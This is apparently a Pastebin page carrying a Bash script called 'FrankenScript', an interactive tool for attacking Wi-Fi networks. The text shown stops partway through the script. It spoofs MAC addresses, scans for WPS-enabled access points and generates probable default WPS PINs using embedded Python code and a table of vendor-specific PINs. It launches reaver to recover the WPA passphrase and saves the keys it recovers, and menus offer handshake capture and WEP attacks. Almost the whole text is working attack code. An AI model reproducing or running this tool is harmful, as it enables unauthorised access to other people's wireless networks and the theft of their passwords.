API tools faq
paste
Advertisement
SH1NU11b1

FrankenScript

SH1NU11b1
Oct 21st, 2015
250
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 53.67 KB | None | 0 0
raw download clone embed print report
  1. #!/bin/bash
  2.  
  3.  
  4.  
  5. RED=$(tput setaf 1 && tput bold)
  6. GREEN=$(tput setaf 2 && tput bold)
  7. STAND=$(tput sgr0)
  8. BLUE=$(tput setaf 6 && tput bold)
  9.  
  10. while :
  11. do
  12.  
  13. ###### Create FrankenScript storage folder if it doeasn't exist ######
  14.  
  15. if [ -d $HOME/FrankenScript ];
  16. then
  17.    echo ""
  18. else
  19.    mkdir $HOME/FrankenScript
  20.    mkdir $HOME/FrankenScript/temp
  21.    mkdir $HOME/FrankenScript/Captured_Handshakes
  22.    mkdir $HOME/FrankenScript/Client_Scans
  23. fi
  24.  
  25. ###### Delete Missed Files In The Temp Directory ######
  26.  
  27.    rm $HOME/FrankenScript/temp/*.txt &> /dev/null
  28.    rm $HOME/FrankenScript/temp/*.py &> /dev/null
  29.    rm $HOME/FrankenScript/temp/*.ivs &> /dev/null
  30.    rm $HOME/FrankenScript/temp/*.cap &> /dev/null
  31.    rm $HOME/FrankenScript/temp/*.xor &> /dev/null
  32.    rm $HOME/FrankenScript/temp/*.csv &> /dev/null
  33.    rm $HOME/FrankenScript/temp/*.netxml &> /dev/null
  34.    rm $HOME/FrankenScript/temp/arp-packet &> /dev/null
  35.    rm $HOME/FrankenScript/temp/*.sh &> /dev/null
  36.  
  37. ###### START OF: DETECT mon0 MAC ADDRESS AND THEN DISPLAY SYSTEM MODE STATUS ######
  38.  
  39. mon0mac=$(ip addr | grep "radiotap" | cut -c 30-46)
  40.  
  41. if [ -s $mon0mac ]
  42. then
  43.    MonitorModeStatus=$(echo Networking Mode Enabled)
  44. else
  45.    MonitorModeStatus=$(echo Attack Mode Enabled)
  46. fi
  47.  
  48. ###### System Environment Options Menu ######
  49. clear
  50. echo $RED"#########################################"
  51. echo "#   $STAND          FrankenScript             $RED#"
  52. echo "#########################################"
  53. echo "#                                       #"
  54. echo "#$GREEN [1]$BLUE WiFi Adapter Selection            $RED#"
  55. echo "#$GREEN [2]$BLUE Enable Attack Or Networking Mode  $RED#"
  56. echo "#$GREEN [3]$BLUE Attack A WPS Enabled Access Point $RED#"
  57. echo "#$GREEN [4]$BLUE Capture WPA/WPA2 Handshake        $RED#"
  58. echo "#$GREEN [5]$BLUE WEP Attacks                       $RED#"
  59. echo "#$GREEN [6]$BLUE Attack Handshake.cap Files        $RED#"
  60. echo "#$GREEN [7]$BLUE Show Recovered Passkeys           $RED#"
  61. echo "#$GREEN [8]$BLUE Recovered Passkey Checker         $RED#"
  62. echo "#                                       #"
  63. echo "#########################################"
  64. echo ""
  65. echo "Chosen Interface$STAND: $wlanX"
  66. echo $RED"System Mode$STAND: $MonitorModeStatus"
  67. echo $RED"MAC address for mon0$STAND: $mon0mac"
  68. echo ""
  69. read -s -n1 -p $GREEN"Please choose an option?$STAND: " ChosenOption
  70. echo
  71. case $ChosenOption in
  72.  
  73. 1)
  74. ###### [1] START OF: CHOOSE A WIFI ADAPTER ######
  75.  
  76. cd $HOME/FrankenScript/temp
  77. clear
  78. Presented_WiFi_Adapters=$(airmon-ng | grep "wlan" | cut -c 1-5 | nl -ba -w 1  -s ": ")
  79. clear
  80. echo $RED"Available WiFi Adapters.$STAND"
  81. echo ""
  82. echo "$Presented_WiFi_Adapters"
  83. echo ""
  84. read -s -n1 -p $GREEN"Please input the number of your chosen WiFi adapter:$STAND " grep_Line_Number
  85. wlanX=$(echo $Presented_WiFi_Adapters | sed -n ""$grep_Line_Number"p" | cut -c 4-8)
  86. echo ""
  87. echo ""
  88. echo $RED"You've chosen:$STAND $wlanX"
  89. sleep 1
  90. cd
  91.  
  92. ;;
  93.  
  94. ###### [1] END OF: CHOOSE A WIFI ADAPTER ######
  95.  
  96. 2)
  97. ###### [2] START OF: ENABLE NETWORKING OR ATTACK MODE ######
  98.  
  99. clear
  100. echo $RED"#########################################"
  101. echo "#                                       #"
  102. echo "# $GREEN[1]$BLUE Enable Networking Mode           $RED #"
  103. echo "# $GREEN[2]$BLUE Enable Attack Mode               $RED #"
  104. echo "# $GREEN[0]$BLUE Return To Main Menu              $RED #"
  105. echo "#                                       #"
  106. echo "#########################################$STAND"
  107. echo ""
  108. read -s -n1 -p $GREEN"Choose an option, 1 or 2?:$STAND " option
  109. if [[ $option == "1" ]]; then
  110.    clear
  111.    echo $RED"Putting the system into networking mode$STAND"
  112.    airmon-ng stop mon5 > /dev/null
  113.    airmon-ng stop mon4 > /dev/null
  114.    airmon-ng stop mon3 > /dev/null
  115.    airmon-ng stop mon2 > /dev/null
  116.    airmon-ng stop mon1 > /dev/null
  117.    airmon-ng stop mon0 > /dev/null
  118.    airmon-ng stop wlanX
  119.    echo $RED"Please wait...$STAND"
  120.    ifconfig $wlanX down
  121.    ifconfig $wlanX down
  122.    wlanFakeMAC=$(macchanger -r $wlanX | grep "New" | cut -c 16-32)
  123.    ifconfig $wlanX hw ether $wlanFakeMAC
  124.    ifconfig $wlanX up
  125.    sleep 1
  126.    service network-manager start
  127.    echo ""
  128.    echo $RED"Networking mode should now be enabled, A fake MAC address has also been set.$STAND"
  129.    sleep 3
  130.    fi
  131.  
  132. if [[ $option == "2" ]]; then
  133.    clear
  134.    echo $RED"Putting the system into attack mode$STAND"
  135.    echo $RED"Please wait...$STAND"
  136.    echo ""
  137.    airmon-ng stop mon5 > /dev/null
  138.    airmon-ng stop mon4 > /dev/null
  139.    airmon-ng stop mon3 > /dev/null
  140.    airmon-ng stop mon2 > /dev/null
  141.    airmon-ng stop mon1 > /dev/null
  142.    airmon-ng stop mon0 > /dev/null
  143.    ifconfig $wlanX down
  144.  
  145. read -s -n1 -p $GREEN"Would you like to disable processes that might cause issue's Y/n?.$STAND " KillProcesses
  146. if [[ $KillProcesses == "Y" || $KillProcesses == "y" ]]; then
  147.    echo ""
  148.    echo $RED"Please wait...$STAND"
  149.    kill `pidof NetworkManager`
  150.    sleep 2
  151.    kill `pidof wpa_supplicant`
  152.    sleep 2                
  153. fi
  154.  
  155.    ifconfig $wlanX up
  156.    sleep 1
  157.    airmon-ng start $wlanX
  158.    echo $RED"Please wait...$STAND"
  159.    sleep 1
  160.    ifconfig $wlanX down
  161.    sleep 1
  162.    ifconfig mon0 down
  163.    wlanMAC1=$(macchanger -r $wlanX | grep "New" | cut -c 16-32)
  164.    ifconfig $wlanX hw ether $wlanMAC1
  165.    echo ""
  166.    sleep 1
  167.    macchanger --mac $wlanMAC1 mon0 > /dev/null
  168.    ifconfig $wlanX up
  169.    ifconfig mon0 up
  170.    echo ""
  171.    echo $RED"MAC address for $wlanX:$STAND"
  172.    macchanger -s $wlanX
  173.    echo ""
  174.    echo $RED"MAC address for mon0:$STAND"
  175.    macchanger -s mon0
  176.    echo ""
  177.    echo $RED"A Random MAC address has been set,$STAND "$wlanX"$RED and$STAND mon0$RED should now have the same fake MAC address.$STAND"
  178.    echo ""
  179.    echo $RED"Attack Mode Should Now Be Enabled.$STAND"
  180.    sleep 3
  181. fi
  182.  
  183. ;;
  184.  
  185. ###### [2] END OF: ENABLE NETWORKING OR ATTACK MODE ######
  186.  
  187. 3)
  188. ###### [3] Attack A WPS Enabled Access Point ######
  189. cd $HOME/FrankenScript/temp
  190. clear
  191. ############## Start Of Create WPSpin.py And easybox_wps.py ##############
  192.  
  193. ############## WPSpin.py ##############
  194. echo '
  195. import sys
  196.  
  197. VERSION    = 1
  198. SUBVERSION = 0
  199.  
  200. def usage():
  201.    print "[+] WPSpin %d.%d " % (VERSION, SUBVERSION)
  202.    print "[*] Usage : python WPSpin.py 123456"
  203.    sys.exit(0)
  204.  
  205. def wps_pin_checksum(pin):
  206.    accum = 0
  207.  
  208.    while(pin):
  209.        accum += 3 * (pin % 10)
  210.        pin /= 10
  211.        accum += pin % 10
  212.        pin /= 10
  213.    return  (10 - accum % 10) % 10
  214.  
  215. try:
  216.    if (len(sys.argv[1]) == 6):
  217.        p = int(sys.argv[1] , 16) % 10000000
  218.        print "[+] WPS pin might be : %07d%d" % (p, wps_pin_checksum(p))
  219.    else:
  220.        usage()
  221. except Exception:
  222.    usage()
  223. ' > WPSpin.py
  224.  
  225. ############## easybox_wps.py ##############
  226.  
  227. echo '#!/usr/bin/env python
  228. import sys, re
  229.  
  230. def gen_pin (mac_str, sn):
  231.    mac_int = [int(x, 16) for x in mac_str]
  232.    sn_int = [0]*5+[int(x) for x in sn[5:]]
  233.    hpin = [0] * 7
  234.    
  235.    k1 = (sn_int[6] + sn_int[7] + mac_int[10] + mac_int[11]) & 0xF
  236.    k2 = (sn_int[8] + sn_int[9] + mac_int[8] + mac_int[9]) & 0xF
  237.    hpin[0] = k1 ^ sn_int[9];
  238.    hpin[1] = k1 ^ sn_int[8];
  239.    hpin[2] = k2 ^ mac_int[9];
  240.    hpin[3] = k2 ^ mac_int[10];
  241.    hpin[4] = mac_int[10] ^ sn_int[9];
  242.    hpin[5] = mac_int[11] ^ sn_int[8];
  243.    hpin[6] = k1 ^ sn_int[7];
  244.    pin = int("%1X%1X%1X%1X%1X%1X%1X" % (hpin[0], hpin[1], hpin[2], hpin[3], hpin[4], hpin[5], hpin[6]), 16) % 10000000
  245.  
  246.    # WPS PIN Checksum - for more information see hostapd/wpa_supplicant source (wps_pin_checksum) or
  247.     # http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc    
  248.    accum = 0
  249.    t = pin
  250.    while (t):
  251.        accum += 3 * (t % 10)
  252.        t /= 10
  253.        accum += t % 10
  254.        t /= 10
  255.    return "%i%i" % (pin, (10 - accum % 10) % 10)
  256.  
  257. def main():
  258.    if len(sys.argv) != 2:
  259.        sys.exit("usage: easybox_wps.py [BSSID]\n eg. easybox_wps.py 38:22:9D:11:22:33\n")
  260.        
  261.    mac_str = re.sub(r"[^a-fA-F0-9]", "", sys.argv[1])
  262.    if len(mac_str) != 12:
  263.        sys.exit("check MAC format!\n")
  264.        
  265.    sn = "R----%05i" % int(mac_str[8:12], 16)
  266.    print "derived serial number:", sn
  267.    print "SSID: Arcor|EasyBox|Vodafone-%c%c%c%c%c%c" % (mac_str[6], mac_str[7], mac_str[8], mac_str[9], sn[5], sn[9])        
  268.    print "WPS pin:", gen_pin(mac_str, sn)
  269.  
  270. if __name__ == "__main__":
  271.    main()
  272. ' > easybox_wps.py
  273.  
  274. ############## End Of Create WPSpin.py And easybox_wps.py ##############
  275.  
  276. ############## Start Of Target Selection And Pin Generation ##############
  277.  
  278. clear
  279. echo $RED"Scanning for WPS-enabled access points, press Ctrl+c on the wash screen to stop the scan and choose a target."$STAND
  280. read -p $GREEN"Press [Enter] to launch the scan.$STAND"
  281. xterm -geometry 111x24+650+0 -l -lf WashScan.txt -e wash -i mon0
  282. sed -i ''1,6d';'$d'' WashScan.txt
  283.  
  284. ############## Start Of Loop Section ##############
  285.  
  286. while true
  287. do
  288.  
  289. Presented_APs=$(cat WashScan.txt | awk '{ print $6 }' | nl -ba -w 1  -s ': ' | sed '$d')
  290. clear
  291. echo $RED"Available Access Points."$STAND
  292. echo ""
  293. echo "$Presented_APs"
  294. echo ""
  295. read -p $GREEN"Please input the number of your chosen target:$STAND " grep_AP_line_number
  296.  
  297. Chosen_AP_Line=$(cat WashScan.txt | sed -n ""$grep_AP_line_number"p")
  298. AP_essid=$(echo $Chosen_AP_Line | awk '{ print $6 }' | sed 's/^[ \t]*//;s/[ \t]*$//')
  299. AP_bssid=$(echo $Chosen_AP_Line | awk '{ print $1 }' | sed 's/^[ \t]*//;s/[ \t]*$//')
  300. AP_channel=$(echo $Chosen_AP_Line | awk '{ print $2 }' | sed 's/^[ \t]*//;s/[ \t]*$//')
  301. PinMAC1=$(echo $AP_bssid | sed 's/://g' | cut -c 7-12)
  302. PinMAC2=$(echo $AP_bssid | sed 's/://g' | cut -c 1-6)
  303. WPSpin1=`python WPSpin.py $PinMAC1 | awk '{ print $7 }'`
  304. WPSpin2=`python WPSpin.py $PinMAC2 | awk '{ print $7 }'`
  305. easybox=`python easybox_wps.py $AP_bssid | grep "WPS pin" | cut -c 10-17`
  306.  
  307. ############## End Of Target Selection And Pin Generation ##############
  308.  
  309. ############## Start Of Choose A MAC Address Options ##############
  310.  
  311. clear
  312. echo $RED"Please choose a MAC address option:$STAND"
  313. echo $GREEN"[1]$BLUE = Auto Set A Random MAC address.$STAND"
  314. echo $GREEN"[2]$BLUE = Input Any MAC Address You Want To Use.$STAND"
  315. echo $GREEN"[3]$BLUE = Continue Without Changing The MAC Address.$STAND"
  316. read -s -n1 -p $GREEN"Please choose 1, 2, or 3?$STAND: " option
  317.  
  318. if [[ $option == "1" ]]; then
  319.    clear
  320.    echo $RED"Auto Setting A Random MAC Address.$STAND"
  321.    echo $RED"Please wait..."$STAND
  322.    ifconfig $wlanX down
  323.    ifconfig $wlanX down
  324.    sleep 1
  325.    ifconfig mon0 down
  326.    wlanMAC2=`macchanger -r $wlanX | grep "New" | cut -c 16-32`
  327.    ifconfig $wlanX hw ether $wlanMAC2
  328.    echo ""
  329.    sleep 1
  330.    macchanger --mac $wlanMAC2 mon0
  331.    ifconfig $wlanX up
  332.    ifconfig mon0 up
  333.    echo ""
  334.    echo $RED"MAC address for$STAND $wlanX:"
  335.    macchanger -s $wlanX
  336.    echo ""
  337.    echo $RED"MAC address for$STAND mon0:"
  338.    macchanger -s mon0
  339.    echo ""
  340.    echo $RED"A Random MAC address has been set,$STAND $wlanX$RED and$STAND mon0$RED should now have the same fake MAC address."
  341.    echo ""
  342.    sleep 4
  343.    fi
  344.  
  345. if [[ $option == "2" ]]; then
  346.    clear
  347.    echo $RED"Set A User specified MAC Address.$STAND"
  348.    echo $RED"Please wait..."$STAND
  349.    ifconfig $wlanX down
  350.    ifconfig mon0 down
  351.    echo ""
  352.    echo $RED"Setting a random MAC address."$STAND
  353.    macchanger -r $wlanX
  354.    echo ""
  355.    read -p $GREEN"Input any mac address you want to use?.$STAND " SpecifiedInterfaceMAC
  356.    ifconfig $wlanX hw ether $SpecifiedInterfaceMAC
  357.    macchanger --mac $SpecifiedInterfaceMAC mon0
  358.    ifconfig $wlanX up
  359.    ifconfig mon0 up
  360.    echo ""
  361.    echo $RED"MAC address for$STAND $wlanX:"$STAND
  362.    macchanger -s $wlanX
  363.    echo ""
  364.    echo $RED"MAC address for$STAND mon0:"$STAND
  365.    macchanger -s mon0
  366.    echo ""
  367.    sleep 2
  368.    echo $RED"A User specified MAC Address has been set, $wlanX and $monX should now have the same fake MAC address."$STAND
  369.    echo ""
  370.    echo $RED"Attack Mode Should Now Be Enabled."$STAND
  371.    sleep 2
  372.    fi
  373.  
  374. if [[ $option == "3" ]]; then
  375.    echo ""
  376. fi
  377.  
  378. ############## End Of Choose A MAC Address Options ##############
  379.  
  380. ############## Start Of Review Information ##############
  381.  
  382. clear
  383. echo $RED"Review Information."$STAND
  384. echo ""
  385. echo $RED"You've chosen$BLUE essid$RED:$STAND $AP_essid"
  386. echo $RED"You've chosen$BLUE bssid$RED:$STAND $AP_bssid"
  387. echo $RED"You've chosen$BLUE Channel$RED:$STAND $AP_channel"
  388. echo ""
  389. echo $RED"Possible$BLUE WPS Pin1$RED:$STAND $WPSpin1"
  390. echo $RED"Possible$BLUE WPS Pin2$RED:$STAND $WPSpin2"
  391. echo $RED"Possible$BLUE easybox Pin$RED:$STAND $easybox"
  392. ############## Start Of WPSPIN-1.3 Default Pin Generater ##############
  393.  
  394. ESSID=$(echo $AP_essid)
  395. BSSID=$(echo $AP_bssid)
  396.  
  397. FUNC_CHECKSUM(){
  398. ACCUM=0
  399.  
  400. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
  401. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
  402. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
  403. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
  404. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
  405. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
  406. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
  407.  
  408. DIGIT=`expr $ACCUM '%' 10`
  409. CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
  410.  
  411. PIN=`expr $PIN '+' $CHECKSUM`
  412. ACCUM=0
  413.  
  414. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
  415. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
  416. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
  417. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
  418. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
  419. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
  420. ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
  421. ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`
  422.  
  423. RESTE=`expr $ACCUM '%' 10`
  424.  }
  425.  
  426. CHECKBSSID=$(echo $BSSID | cut -d ":" -f1,2,3 | tr -d ':')
  427.  
  428. FINBSSID=$(echo $BSSID | cut -d ':' -f4-)
  429.  
  430. MAC=$(echo $FINBSSID | tr -d ':')
  431.  
  432. CONVERTEDMAC=$(printf '%d\n' 0x$MAC)
  433.  
  434. FINESSID=$(echo $ESSID | cut -d '-' -f2)
  435.  
  436. PAREMAC=$(echo $FINBSSID | cut -d ':' -f1 | tr -d ':')
  437.  
  438. CHECKMAC=$(echo $FINBSSID | cut -d ':' -f2- | tr -d ':')
  439.  
  440. MACESSID=$(echo $PAREMAC$FINESSID)
  441.  
  442. STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
  443.  
  444. PIN=`expr 10 '*' $STRING`
  445.  
  446. FUNC_CHECKSUM
  447.  
  448. PINWPS1=$(printf '%08d\n' $PIN)
  449.  
  450. STRING2=`expr $STRING '+' 8`
  451. PIN=`expr 10 '*' $STRING2`
  452.  
  453. FUNC_CHECKSUM
  454.  
  455. PINWPS2=$(printf '%08d\n' $PIN)
  456.  
  457. STRING3=`expr $STRING '+' 14`
  458. PIN=`expr 10 '*' $STRING3`
  459.  
  460. FUNC_CHECKSUM
  461.  
  462. PINWPS3=$(printf '%08d\n' $PIN)
  463.  
  464. if [[ $ESSID =~ ^FTE-[[:xdigit:]]{4}[[:blank:]]*$ ]] &&  [[ "$CHECKBSSID" = "04C06F" || "$CHECKBSSID" = "202BC1" || "$CHECKBSSID" = "285FDB" || "$CHECKBSSID" = "80B686" || "$CHECKBSSID" = "84A8E4" || "$CHECKBSSID" = "B4749F" || "$CHECKBSSID" = "BC7670" || "$CHECKBSSID" = "CC96A0" ]] &&  [[ $(printf '%d\n' 0x$CHECKMAC) = `expr $(printf '%d\n' 0x$FINESSID) '+' 7` || $(printf '%d\n' 0x$FINESSID) = `expr $(printf '%d\n' 0x$CHECKMAC) '+' 1` || $(printf '%d\n' 0x$FINESSID) = `expr $(printf '%d\n' 0x$CHECKMAC) '+' 7` ]];
  465.  
  466. then
  467.  
  468. CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
  469.  
  470. RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
  471.  
  472. STRING4=`expr $RAIZ '+' 7`
  473.  
  474. PIN=`expr 10 '*' $STRING4`
  475.  
  476. FUNC_CHECKSUM
  477.  
  478. PINWPS4=$(printf '%08d\n' $PIN)
  479.  
  480. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS4  "
  481. PIN4REAVER=$PINWPS4
  482. else
  483. case $CHECKBSSID in
  484. 04C06F | 202BC1 | 285FDB | 80B686 | 84A8E4 | B4749F | BC7670 | CC96A0)
  485. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1  
  486. $RED"Other Possible Pin"$RED:$STAND $PINWPS2  
  487. $RED"Other Possible Pin"$RED:$STAND $PINWPS3"
  488. PIN4REAVER=$PINWPS1
  489. ;;
  490. 001915)
  491. echo -e "$RED"Other Possible Pin"$RED:$STAND 12345670"
  492. PIN4REAVER=12345670
  493. ;;
  494. 404A03)
  495. echo -e "$RED"Other Possible Pin"$RED:$STAND 11866428"
  496. PIN4REAVER=11866428
  497. ;;
  498. F43E61 | 001FA4)
  499. echo -e "$RED"Other Possible Pin"$RED:$STAND 12345670"
  500. PIN4REAVER=12345670
  501. ;;
  502. 001A2B)
  503. if [[ $ESSID =~ ^WLAN_[[:xdigit:]]{4}[[:blank:]]*$ ]];
  504. then
  505. echo -e "$RED"Other Possible Pin"$RED:$STAND 88478760"
  506. PIN4REAVER=88478760
  507. else
  508. echo -e "PIN POSSIBLE... > $PINWPS1"
  509. PIN4REAVER=$PINWPS1
  510. fi
  511. ;;
  512. 3872C0)
  513. if [[ $ESSID =~ ^JAZZTEL_[[:xdigit:]]{4}[[:blank:]]*$ ]];
  514. then
  515. echo -e "$RED"Other Possible Pin"$RED:$STAND 18836486"
  516. PIN4REAVER=18836486
  517. else
  518. echo -e "PIN POSSIBLE    > $PINWPS1"
  519. PIN4REAVER=$PINWPS1
  520. fi
  521. ;;
  522. FCF528)
  523. echo -e "$RED"Other Possible Pin"$RED:$STAND 20329761"
  524. PIN4REAVER= 20329761
  525. ;;
  526. 3039F2)
  527. echo -e "several possible PINs, ranked in order>  
  528. 16538061 16702738 18355604 88202907 73767053 43297917"
  529. PIN4REAVER=16538061
  530. ;;
  531. A4526F)
  532. echo -e "several possible PINs, ranked in order>  
  533. 16538061 88202907 73767053 16702738 43297917 18355604 "
  534. PIN4REAVER=16538061
  535. ;;
  536. 74888B)
  537. echo -e "several possible PINs, ranked in order>  
  538. 43297917 73767053 88202907 16538061 16702738 18355604"
  539. PIN4REAVER=43297917
  540. ;;
  541. DC0B1A)
  542. echo -e "several possible PINs, ranked in order>  
  543. 16538061 16702738 18355604 88202907 73767053 43297917"
  544. PIN4REAVER=16538061
  545. ;;
  546. 5C4CA9 | 62A8E4 | 62C06F | 62C61F | 62E87B | 6A559C | 6AA8E4 | 6AC06F | 6AC714 | 6AD167 | 72A8E4 | 72C06F | 72C714 | 72E87B | 723DFF | 7253D4)
  547. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1 "
  548. PIN4REAVER=$PINWPS1
  549. ;;
  550. 002275)
  551. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  552. PIN4REAVER=$PINWPS1
  553. ;;
  554. 08863B)
  555. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  556. PIN4REAVER=$PINWPS1
  557. ;;
  558. 001CDF)
  559. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  560. PIN4REAVER=$PINWPS1
  561. ;;
  562. 00A026)
  563. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  564. PIN4REAVER=$PINWPS1
  565. ;;
  566. 5057F0)
  567. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  568. PIN4REAVER=$PINWPS1
  569. ;;
  570. C83A35 | 00B00C | 081075)
  571. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  572. PIN4REAVER=$PINWPS1
  573. ;;
  574. E47CF9 | 801F02)
  575. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  576. PIN4REAVER=$PINWPS1
  577. ;;
  578. 0022F7)
  579. echo -e "$RED"Other Possible Pin"$RED:$STAND $PINWPS1"
  580. PIN4REAVER=$PINWPS1
  581. ;;
  582. *)
  583. echo -e $RED"Other Possible Pin$RED:$STAND $PINWPS1"
  584. PIN4REAVER=$PINWPS1
  585. ;;
  586. esac
  587. fi
  588.  
  589. ############## End Of WPSPIN-1.3 Default Pin Generater ##############
  590.  
  591. echo ""
  592. echo $RED"MAC address for$STAND mon0:"$STAND
  593. macchanger -s mon0
  594. sleep 4
  595.  
  596. ############## End Of Review Information ##############
  597.  
  598. ############## Start Of Scan For Clients And Store Collected MAC Addresses Option ##############
  599. echo ""
  600. read -s -n1 -p $GREEN"Would you like to scan for clients connected to the target access point? Y/n:$STAND  " ClientScan
  601.  
  602. if [[ $ClientScan == "Y" || $ClientScan == "y" ]]; then
  603.    xterm -geometry 111x24+650+0 -l -lf temp1.txt -e airodump-ng -c $AP_channel --ignore-negative-one --bssid $AP_bssid mon0
  604.    cat temp1.txt | tail -10 | sed 'N;$!P;$!D;$d' | sed -n '/STATION/,$p' >> ClientScan-$AP_bssid.txt
  605.    mv ClientScan-$AP_bssid.txt $HOME/FrankenScript/Client_Scans/ClientScan-$AP_bssid.txt
  606.    rm temp1.txt
  607.    echo ""
  608.    echo ""
  609.    echo $RED"Collected scan data is stored in$STAND ClientScan-$AP_bssid.txt $RED Location$STAND: $HOME/FrankenScript/Client_Scans"
  610.    echo ""
  611.    read -p $GREEN"Press [Enter] to continue.$STAND"
  612.    fi
  613.  
  614. if [[ $ClientScan == "N" || $ClientScan == "n" ]]; then
  615.    echo ""
  616.    fi
  617. ############## End Of Scan For Clients And Store Collected MAC Addresses Option ##############
  618.  
  619. ############## Start Of Reaver Attacks And Store Recovered Passkey ##############
  620.  
  621. clear
  622. echo $RED"Choose an attack option:"$STAND
  623. echo $GREEN"[1]$BLUE = Reaver + Auto Generated WPS Pin"$STAND
  624. echo $GREEN"[2]$BLUE = Reaver (Customisable Options)"$STAND
  625. echo
  626. read -s -n1 -p $GREEN"Please choose an option?$STAND: " yourch
  627. echo
  628. case $yourch in
  629.  
  630. 1)
  631. clear
  632. echo $RED"Choose a pin:"
  633. echo $GREEN"[1]$BLUE WPS Pin1 = $WPSpin1"
  634. echo $GREEN"[2]$BLUE WPS Pin2 = $WPSpin2"
  635. echo $GREEN"[3]$BLUE EasyBox Pin = $easybox"
  636. echo $GREEN"[4]$BLUE Other Pins = $PIN4REAVER"
  637. read -s -n1 -p $GREEN"Please choose 1, 2, 3, or 4?$STAND: " PinOption
  638.  
  639. if [[ $PinOption == "1" ]]; then
  640.    clear
  641.    echo $RED"Reaver Attack Command:"$STAND
  642.    echo "reaver -i mon0 -c $AP_channel -b $AP_bssid -p $WPSpin1 -d 2 -t 2 -T 2 -vv"
  643.    echo ""
  644.    read -p $GREEN"Press [Enter] to launch the attack.$STAND"
  645.    clear
  646.    reaver -i mon0 -c $AP_channel -b $AP_bssid -p $WPSpin1 -d 2 -t 2 -T 2 -vv -C "sed -i 's/^....//' reaver.txt && cat reaver.txt | grep 'AP SSID' | sed 's/AP SSID/AP ESSID/' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPS PIN:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPA PSK:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt" | tee reaver.txt
  647.    rm reaver.txt
  648.    echo ""
  649.    fi
  650.  
  651. if [[ $PinOption == "2" ]]; then
  652.    clear
  653.    echo $RED"Reaver Attack Command:"$STAND
  654.    echo "reaver -i mon0 -c $AP_channel -b $AP_bssid -p $WPSpin2 -d 2 -t 2 -T 2 -vv"
  655.    echo ""
  656.    read -p $GREEN"Press [Enter] to launch the attack.$STAND"
  657.    clear
  658.    reaver -i mon0 -c $AP_channel -b $AP_bssid -p $WPSpin2 -d 2 -t 2 -T 2 -vv -C "sed -i 's/^....//' reaver.txt && cat reaver.txt | grep 'AP SSID' | sed 's/AP SSID/AP ESSID/' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo AP BSSID: $AP_bssid >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPS PIN:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && grep 'WPA PSK:' reaver.txt >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt && echo ' ' >> $HOME/FrankenScript/Recovered-WPA-Passkeys.txt" | tee reaver.txt
  659.    rm reaver.txt
  660.    echo ""
  661.    fi
  662.  
  663. if [[ $PinOption == "3" ]]; then
  664.    clear
  665.    echo $RED"Reaver Attack Command:"$STAND
  666.    echo "reaver -i mon0 -c $AP_channel -b $AP_bssid -p $easybox -d 2 -t 2 -T 2 -vv"
  667.    echo ""
  668.    read -p $GREEN"Press [Enter] to launch the attack.$STAND"
  669.    clear
